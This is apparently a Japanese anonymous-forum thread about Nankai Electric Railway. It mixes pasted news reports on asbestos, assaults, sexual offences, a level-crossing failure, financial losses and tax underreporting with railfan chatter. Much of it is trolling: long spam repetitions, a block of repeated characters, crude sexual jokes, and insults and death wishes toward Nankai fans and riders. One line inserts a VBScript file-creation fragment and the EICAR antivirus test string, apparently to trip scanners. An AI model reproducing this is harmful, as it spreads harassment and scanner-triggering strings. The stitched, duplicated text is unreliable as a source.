は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海電鉄アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と
堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになっていて、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベ

ストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えていないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき
出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によりますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出
しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないとしていますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しない
ように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.or.jp/news/2005/08/02/d20050802000028.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大
阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男
はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電
車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレ
に監禁、体触る兵庫県警有馬署は２５日、強制わいせつと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀
。５月２９日午後８時５０分ごろ、神戸・有馬温泉のホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。

両容疑者は同期入社の社員十数人と有馬温泉に宿泊。宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ
行くため席を立ったところ「ちょっと来て」と誘い、手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない
女性を心配し、男子トイレを外からノックしたが、反応はなかったという。６月上旬に女性が同署に被害届を提出した。南海電鉄は「あるまじき行為。全社員への教育を徹底する」とコメント、両容疑者の処分を検討している。
ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html（１１月２９日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕------------------------------------------------------------
--------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強
制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調
べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田
駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い
。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。

ttp://www.asahi.com/kansai/news/OSK200411300005.html■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で１５番目に政令市となった大阪府堺市が、再開発問題で頭
を痛めています。超高層マンションで駅前を一気に活性化しようというものなんですが、堺市が世界に誇る歴史遺産の未来に暗い影を落としているんです。しかし去年９月、竹川さんの耳に信じられないニュースが飛び込んでき
ました。なんと４５階建て、高さ１５２メートルのタワーマンションが建つというのです。世界遺産登録をめざす堺市でなぜこんなことが起こるのでしょうか。建設予定地は以前南海電鉄の操車場でしたが、移転に伴い、遊休地
となっていました。それがおととしの５月、都心活性化のための特別措置法で、駅西側の商業地とともに、高さ制限のない緊急整備地域に指定されました。そこに南海電鉄は、超高層マンション計画を立ち上げたのです。〈南海
電鉄住宅事業部・田中裕二部長〉「町が変わるんだ、中心地が活性化するんだと。こういうことの起爆剤、呼び水になると考えています。（超高層マンションは）違和感のない景観だと思っています」＜続く＞しかしこの計画地
、反正陵からわずか１２０メートル。完成したら周囲の景観は激変し、世界遺産登録への影響が心配されます。反対派住民は計画の見直しを訴えましたが、南海電鉄との話し合いは平行線のままです。地元で反対運動を進める吉
田さんらは、手作りの模型で、マンションの及ぼす影響を説明してきました。〈地元対策協議会・吉田暢事務局長〉「イメージがわかない方もおられるんで、『ピラミッドの横に１５０メートルの建物が建つという風にお考え頂
いたらよくわかりますよ』と。あぁそういうことかと」吉田さんのもとには、すでに７，０００人を越える署名が集まりました。堺市の有識者会議にも名を連ねる専門家はこう指摘します。〈京都府立大学・宗田好史助教授〉「
あえて、今から登録をめざす遺産の中に高層ビル、それも地元の反対があるとなれば絶望的ですね」世界遺産か高層マンションか。ttp://mbs.jp/voice/special/200605/23_2733.shtml◆◇◆◇◆踏切の電源入れ忘れ作動せず８

列車通過南海和歌山港線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過
した。未明にあった点検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電
源装置の定期点検のため、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気
付き、本社に連絡した。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.html◆◇◆◇◆南海電鉄、不動産評価損２
００億円旅館など７社解散へ◆◇◆◇◆南海電気鉄道は２５日、造成を当面凍結する分譲用地の評価損約１９８億円を計上し、０７年３月期の当期利益見通しを７８億円から２３億円に下方修正した、と発表した。経営難の子会
社など７社の解散も併せて明らかにした。同社は、沿線の和歌山県橋本市で開発を進めてきた「南海橋本林間田園都市」（計画面積約６６８ヘクタール）の新たな造成を凍結、７０年前後に取得した山林約２００ヘクタールの評
価を見直した。同都市の計画人口は約４万２０００人だが、現在は約１万２０００人にとどまっている。解散を決めたのは、昨年末で大阪市での営業を終えた「ホテル南海」、今月末でフェリーの運航を終了する「南海淡路ライ
ン」、和歌山市の旅館を３月に地元企業に売却する「萬波楼」など。ttp://www.asahi.com/business/update/0125/181.html南海電鉄で囁かれる｢最悪のシナリオ｣怪文書が指摘する疑惑の数々､疑惑に発展か経企庁による“大本営
発表”の数字はともかく、いまだ景気の回復はその兆しすら見えてこないという状況の中、私鉄各社の経営も依然として厳しい状態が続いている。各社とも、主力の鉄道事業収入が年々、減少傾向にあり、関連事業も思わしくな

い。中でも、関西私鉄大手の一角を占める南海電気鉄道の経営状況はかなり厳しい様相を呈している。しかも、同社を巡っては、一年ほど前から経営陣を批判する数種類の怪文書も出回っており、その騒動の余波は未だに尾を引
いている‥‥。さる五月末、同社の二〇〇〇年三月期決算が発表されたが、その数字を見ても同社の置かれた状況がいかに厳しいものかがうかがえる。近鉄、阪急、阪神、京阪に続いて関西私鉄大手の中で五位の南海電鉄は、同
期の売上高こそ千百九十九億円と、前年同期比で一・六％の伸びを示したものの、経常利益では十九億円と、前年同期比では実に二七・五％もの減少という惨憺たる結果になっている。さらにいえば、税引き後利益はほぼゼロで
、前年同期比ではなんと九八・四％ものマイナス。「全国的に見ても、関西の雇用情勢は相変わらず厳しい上に、少子高齢化やマイカーへの需要シフトといった構造的なマイナス要因もあることは確かですが、それでも、大手五
社の中で経常利益が前年同期比でマイナスに転じたのは南海だけです。もっとも、各社とも、主力の鉄道事業だけをみればそれぞれ前年よりも収益が減っているのも確かですが南海の場合、業績不振の観光事業子会社を整理した
り、希望退職者への割増退職金などを特別損失として約二百億円計上したことが大きかったようです。それでも、これだけなら本来なら経常段階でも赤字転落は免れなかったんですが、難波地区の再開発用地の一部を民間都市開
発推進機構へ売却して、その売却益でかろうじて黒字にしているという状態なんです」（在阪の経済誌記者）実際、グループ会社も含めた連結決算ではもっと惨憺たる結果が出ており、連結の売上高でも当初予想を八十億円下回
り、最終損益では二十四億円の赤字となっている。前期はかろうじて三億円の黒字をキープしたが、連結での赤字転落はA連結決算を公表して以来、初めてのことだという。こうした厳しい状況もあってか、労使間の対立も以前
にも増してかなり厳しい状況になっているようで、その余波なのか、昨年春以降、経営陣を批判する怪文書も出回って、関係者の注目を集めているのだ。南海電鉄、堺に１４８メートルのマンション計画　仁徳陵を一望、住民「

景観壊す」堺市内に建設が計画されている高さ約百四十八メートルの超高層マンションから、国内最大の前方後円墳の仁徳天皇陵（堺区）が“丸見え”になることがわかった。天皇陵との距離は約一キロ。同市は世界遺産登録を
目指しているが、地元住民からは「景観悪化につながる」と建設反対の動きも。中には「天皇陵を見下ろすことに問題はないのか」の声もある。建設主の南海電鉄は数回にわたり住民説明会を開いているが、景観論争の決着には
時間がかかりそうだ。南海電鉄によると、予定地は南海堺東駅の東側に隣接する車庫跡地約一・四ヘクタール。四十二階と十五階の二棟約五百戸で、平成二十一年三月のオープンを予定している。高さ約百四十八メートルは市内
で最も高い建物となる。ただ、仁徳天皇陵からの距離は北西にわずか約一キロ。同電鉄不動産営業本部では「自然環境豊かな仁徳陵の眺望は、最大のウリ」という。同電鉄では、計画を打ち出した昨年九月以降、二カ月に一度の
ペースで地元住民らに説明会を実施しているが、周辺住民は猛反発。天皇陵を含む百舌鳥古墳群の世界文化遺産登録に向け、マンション建設が水を差すというのが主な理由だ。地元住民で建設に反対する上村雄彦・大阪府立大名
誉教授は「明らかに景観を破壊しており、建設を中止しなければ世界遺産登録はありえない」と指摘。ユネスコ（国連教育科学文化機関）は、世界文化遺産のケルン大聖堂（独）の周辺で高層ビル開発の計画が持ち上がった際、
大聖堂を危機遺産に登録し、計画をストップさせたという。住民らは今月二十日にも建設中止を求める要望書を市に提出する予定だが、市建築都市局は「古墳の周囲には、低いながらもすでに家やマンションが建っている。現場
に高さ制限はなく、建築基準法をクリアしていれば問題ない。堺の中心地に人を呼び戻す絶好のチャンスと期待している」。ttp://www.sankei.co.jp/news/060419/evening/20iti001.htm★★★★★★★★★★★★★★★★南海
電鉄、単体209.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(

2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（
百万円）3,4903,4383,0005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp
/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結
、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3
月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株
利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS借入金は時価総額などと比べると
実情が比較的表れます。南海借入金残高２６８，５８３百万円時価総額２２８，９８９百万円１１７．３％（時価総額に占める借入金割合）阪急借入金残高５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神借
入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄借入金残高４６９，６９８百万円時価総額７５９，６８１百万円６１．８％京阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４７
．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き過ぎるる上に金利が高い。一線を越えてしまっている。近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はやや

多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金は元から少なめ。金利は高いが収益力を考慮すれば問題はない。これでは社債は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない事
故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く
「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかった」 ＜住んでみたい街（関西）トップ10＞に
、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなどと
いうバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証明された（ﾌﾟｹﾞﾗ住んでみたい街（関西）トップは「芦屋」ソースttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営
状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシコシコとオナニーした、情けない赤字南海&南海ヲタおらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀
｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_ ,､｀^)^)＼＼＼（_＿
）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだからこのスレに常駐してるんじゃないんだからね！」テンプレ〆どうぞお使いください。韓韓韓韓韓韓韓韓韓韓.韓韓韓韓韓韓韓韓韓韓韓.韓.韓韓韓
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韓.韓.韓韓韓韓韓韓韓韓韓韓韓韓韓韓.韓.韓韓韓韓韓韓韓ttp://www.yomiuri.co.jp/national/culture/news/20070223i201.htm韓韓韓韓韓韓韓韓韓韓.韓韓韓韓韓韓韓韓韓韓韓.韓.韓韓韓韓韓韓韓韓韓韓韓韓韓韓韓韓韓韓韓韓..
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韓.韓韓韓韓韓韓韓ttp://www.yomiuri.co.jp/national/news/20070221i207.htmSetA4=A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*fs
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ちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住み
たくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の

南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線
ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年
住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１
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沿線ぶっちぎり１位の南海沿線長年住みたくない沿線ぶっちぎり１位の南海沿線南海ヲタなんて不細工で頭悪くて気持ち悪くてダサくて性格悪くて正真正銘、何時死んだって悔いが残らない程のクズですよ久々におはよう次回南
海都市伝説絵巻第81話7000系しか乗ってないから運悪いの？乞うご期待パークス車のドア横に新しいシール貼ってあったよ。全体色はがれてきてるから塗りなおしてほしいね二期がオープンするからそれに合わせた塗装か、もっ
と早く元にしてくれたらよかったのに。高野線に貸してる1000も返して（帰ってきたか？）くれないかなー>18日本の歴史からしたら、５年なんてまるで昨日の出来事のようなもの。そもそも、記事にされたくなかったら、南海
は申告漏れなんかしなければよかっただけのこと。２０１１年度に南海線、２０１６年度に高野線でＡＴＳ整備ですか近年廃車予定車は２０１１年までに置き換わるかもしれないね逆に、２０１１年、２０１６年までに置き換わ
らずＡＴＳが整備された従来車は１０年超安泰かもしれない>108さすが経営難の南海w>112デマも糞も新聞記事に対する想像じゃん。２０１１年、２０１６年のＡＴＳ整備は新聞記事なんだしそれ以降も使用する車両は確実に改
造受けるし改造を受けないと廃車になる可能性はあるっちゅ〜こと次回南海都市伝説絵巻第82話来る南海の戦略に神は舞い降りるのか？乞うご期待！

関空

次回南海都市伝説絵巻第82話来る南海の戦略に神は舞い降りるのか？乞うご期待！南海はぼろい個人的には無理だと思うが>┣新車の大量投入。(４・６両編成)４+２の優等や２+２の普通の削減。塩害７０００系スレ等で叩かれ
まくっている、糞ボロ車マンセーの難解を新車大量投入で根本的に変えてほしい。束ヨ２３３系並の(東急車輛で貫通路つけた上で、正面デザイン以外をそのままコピーして出荷してもらえればヨシ！！)車両を一気に３００両ぐ
らい投入して、車齢３０年以上・近くの、糞ボロ車は即刻廃車にしてほしい。若年認知症「ピック病」で万引き厚労省が調査2007年02月26日06時05分「ピック病」と呼ばれる認知症になった公務員らが、症状の一つである万引き
をして社会的地位を失うケースが相次いでいる。脳の前頭葉の萎縮（いしゅく）で感情の抑制を失って事件を起こしてしまうためで、犯行時の記憶がないのが特徴だ。しかし、正確に病気を診断できる医療機関は少なく、厚生労
働省の若年認知症の研究班も、初めてピック病の実態調査に乗り出した。専門医は「まじめに仕事をしていた働き盛りの人が万引きをして『なぜ』ということがあれば、ぜひ専門の医療機関を受診してほしい」と話している。tt

p://www.asahi.com/national/update/0226/image/TKY200702250307.jpgソースttp://www.asahi.com/national/update/0225/TKY200702250273.html突然だが、上記「ピック病」こそが、引っ越し厨が患っている病気である。チェ
ックリスト１･･･周囲の人に無遠慮で、身勝手な行動をする。→住人が迷惑がっている引っ越し荒らしをするチェックリスト２引きこもりや何もしないなどの状況が続き･･･→土日も出かけず、昼間っから引っ越し活動しているチ
ェックリスト４軽犯罪を犯すが、反省や説明はできず、繰り返すことが多い。→引っ越し荒らしで迷惑しているのに、反省も説明も無く、延々繰り返すチェックリスト５繰り返し行動→言わずと知れた引越し活動の繰り返しチェ
ックリスト７他の人の言葉をオウム返ししたりする→これこそ引っ越し厨の最大の特徴引っ越し厨は正真正銘の「ピック病」らしいので、繰り返される引っ越し活動を皆さんで温かく見守ってあげましょうや。>209ああ見えても
ﾁｿｶｽはツンデレなんだよ。「べっ、別に南海のことが嫌いじゃないんだからね！たっ、ただ赤字が続いたりぼろい車両走らせてたら本当にお客さんに見放されるんだから！本当に倒産されたら迷惑なだけよ！」次回南海都市伝説
絵巻第83話次の新車が7000系だったらどうする？乞うご期待南海はボロい

住ノ江

南海7000はし尺103よりも乗り心地よし。ａｇｅ

高野線

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グモ

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南海はぼろいし

ぼろい

光速観覧車イキマース！！！！！！！！！次回南海都市伝説絵巻第88話ラピーンでカピーン第89話サピーンでチョピーン乞うご期待！！！ttp://www.keihannet.ne.jp/eiden/eidenfan/syaryo/1000-001.jpg次回南海都市伝説絵巻
第90話1001系がもしこんなんだったら・・・乞うご期待！そしてこのあといよいよ高架画像アップ！！！今夜はアップ祭り！お楽しみに！毎日放送で、堺東のマンションの件を放送している。今度は景観でなく上町断層の上で耐
震性に疑問とか、南海側が小細工した資料をを配布で周辺住民は不信感とかやっている。こりゃ立てても値引きせんとな。てっきり地震とは無縁の場所だと思っていたが。てことで、次回南海都市伝説絵巻第91話特急に7000系は
ダメだろ乞うご期待！7000系置き換え用新車が走ルンですだったら…【走るんです】新汚物南海8000系を叩くスレ【関西デビュー】とか立ってそうだ。>198ま、汚物工場作だからな…1日あたりの平均乗降客数は1021人。この数
字は南海の駅全体では99駅中76位。99位はどこだ。次回南海都市伝説絵巻南海の隠れた名物を探せ！乞うご期待！例えばこれttp://www.jtw.zaq.ne.jp/sugitani/nankai/sharyo/other/MT-NO.2.jpgじゃーオヤスミント>>245都営10
-300みたいな、安っぽい内装だったらどうする？新津でも作るんでしょ？>261Ｅ２３３はまだないが２０９とＥ２３１はしょっちゅう東京行く奴は否応なく乗ってるだろうよ。振り替えで乗るアホどもは死ねばいいやんいらんで
マジ振り替えのりたかったら300万くらい運賃とってまえよwwwうざいわ7000に乗せて一緒にアポーンしてもらええのに土曜やのに混みすぎ死ね7000もってこい阪和人どもを一緒に消してまえうざいだけってことで、次回南海都市
伝説絵巻第92話7000系が都市伝説になる日まで乞うご期待！ではおやすみ>353束231や531グリーン車の蛍光灯カバーは金属製のものになって、防火基準をクリアした。まあ別に通勤車にはカバー要らんけど。>338>まず液晶を採

用すべし。残念ながら8000系や本線・高野線の新型特急車両では採用しないそうだ。8000系は座席も、オールロングみたいだな。内装は都営の10−300＋E231を劣化させたようなのになるんだとか。車内の案内電光板も都営10−3
00形と同じLEDを千鳥配置にしたものになる。とりあえず内装のパーツは、都営10−300形の物を多用するみたいだ。>569◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中
央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所
得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「
施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして
申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html東武といえばいつ５００００系買ってくれるんだろう？647678死ねオラぼけ
死ね南海オタしねようぜーんだよ害虫の分際がてことで、次回南海都市伝説絵巻第98話明日も雨7000系の行方は乞うご期待ドアを開けたり閉めたり何回もするなよなめっちゃ響くなんばで待ってて7000来たら自殺したくなるのは
気のせいか？今7000乗って帰宅中だが怖い音させながら走ってる。新車はまだかいらないならいいや次回南海都市伝説絵巻第99話むしむし君

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　　, -‐''"　i　　　　＼　　　　　　　人

オナニー

age

ルンルン

ハック

レポいるのかいらんのか分からんから撮影中止しまーすおやすみんとびょーんびょーんだお今月のナッツはすげーらしい井原里に動きあり！光速観覧車ラピーン■憤懣本舗「超高層住宅…足もとの活断層への不安」ttp://www.mb
s.jp/voice/special/200703/08_7139.shtmlおはお次回南海都市伝説絵巻第100話駅員の適当さを叩き潰せ乞うご期待南海元京浜東北２０９系ＶＳ阪和元中央快速２０１系次回南海都市伝説絵巻第100話眠らぬ駅に潜む陰乞うご期
待>171なるほどなぁ、実際に見るとよ〜くわかる。南海沿線で人様にお見せできる物などないってこと。耳の不自由な方に情報を提供するため国が勧める視覚に訴求する手段ならより安価なLEDで十分だ。ついでに言えば、ドア
チャイムを含め最近の新設備は大半が健常者のための物ではないのだよ。ttp://uploader.onpuch.co.uk/img-box/img20070322144950ca3a4.jpg次回南海都市伝説絵巻第101話いよいよ着工和大新駅乞うご期待ヽ(´ω`)ノﾓﾆｭおやす
みんと◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘さ
れていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者による
と、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象
にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.
jp/news/topics/index/02122/1.html

◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している遊園地「みさき公園」（大阪
府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.htmlアップリますんで見てから寝てね>548だろ？俺がそこに座って
たと思ったら気持ち悪くてさ。。。靴脱いでならまだ話はわかるが・・・ところで、シートとかは掃除機かけたりはしないのか？おやすみんと新駅の工事はじまた夏改正は高架によるものか？まだまだ工事終わらないぞ柱作るま
では早かったがな>577ドアー椅子のＥ２３１並の大型の“仕切り板”には好感が持てるな立ってるひとには後ろで座ってるひとを気にしなくてもたれていいし座ってるひとには“車両の一番端の席”がいくつも出来たことを意味
するだから来るべき南海の新型では液晶なんかどうでもいいから・・・・・

南海、ボロロン！ボロロン！

>595だから南海8000系（仮称）には液晶はﾂｶﾈって何度言えば。何で和歌山市行き区急最終がJRとの調整で新今宮で放置プレイなんだ2番線に8200が、4番線に7000がきましたが何か胸騒ぎがするてかJRで待たんくせに南海が待つ
とかふざけてるな！客らほっとけやうざい最近のサービスは、南海よりもJRの方が質が高い 南海はぼろいのぉ

age

♪　嗚呼　金色の羽ばたきに
♪　空に鳴る鳴る　翻る勝利の旗
♪　ホークス　ホークス　南海ホークス

age

沿線住民は低所得者ばかりの南海田舎民ばかりの南海線は廃止がふさわしいttp://suri.web.infoseek.co.jp/keikyunews/20070328.htm京急の新車、内外装ともにカッコイイな。南海の新車もこんなのが良い。>722余計な空気を
運ぶぐらいなら、減車と減便による輸送力調整をした方がイイ。>7337020系に失礼すぎる。３０００系の比較相手は南海の７０００系で十分。次回南海都市伝説絵巻第112話桜満開！お花見は7000系で和歌山市に！乞うご期待関
西私鉄界の汚物糞南海南海はいつ倒産するのですか？まじで駅員の態度悪いし車両はぼろい運賃、定期高い南海の将来ってあるの？世界遺産登録申請で問題になった、堺東の高層マンションも車でのアクセスは悪そうだな南海ｗ
南海線ｵﾜﾀ＼(＾o＾)／南海電鉄（沿線）に対するイメージは？1位車両がぼろい・・・10.1%34票91.62位電車の速度が遅い・・・7.1%24票77.33位乗客の質が悪い・・・6.5%22票74.44位DQNな学生が多くて困る・・・5.9%20票71.6
5位不便極まりない糞ダイヤ・・・5.6%19票70.16位関西最低な私鉄の一つ・・・5.3%18票68.77位いつも電車が遅れる・・・5.0%17票67.38位南海沿線から引っ越したい・住みたくない・・・4.5%15票64.4阪急南海内装100点0点外
装100点0点座席100点0点案内100点0点足回り100点0点静粛性100点0点好感度100点0点合計600点0点次回南海都市伝説絵巻第113話さらば鹿島鉄道君の栄光は忘れない！貴志川線はいちごへ乞うご期待！おやすみ

>>395
悪い事言わん。精神科行け！

◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されてい
たことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同
社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にした
という。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/new
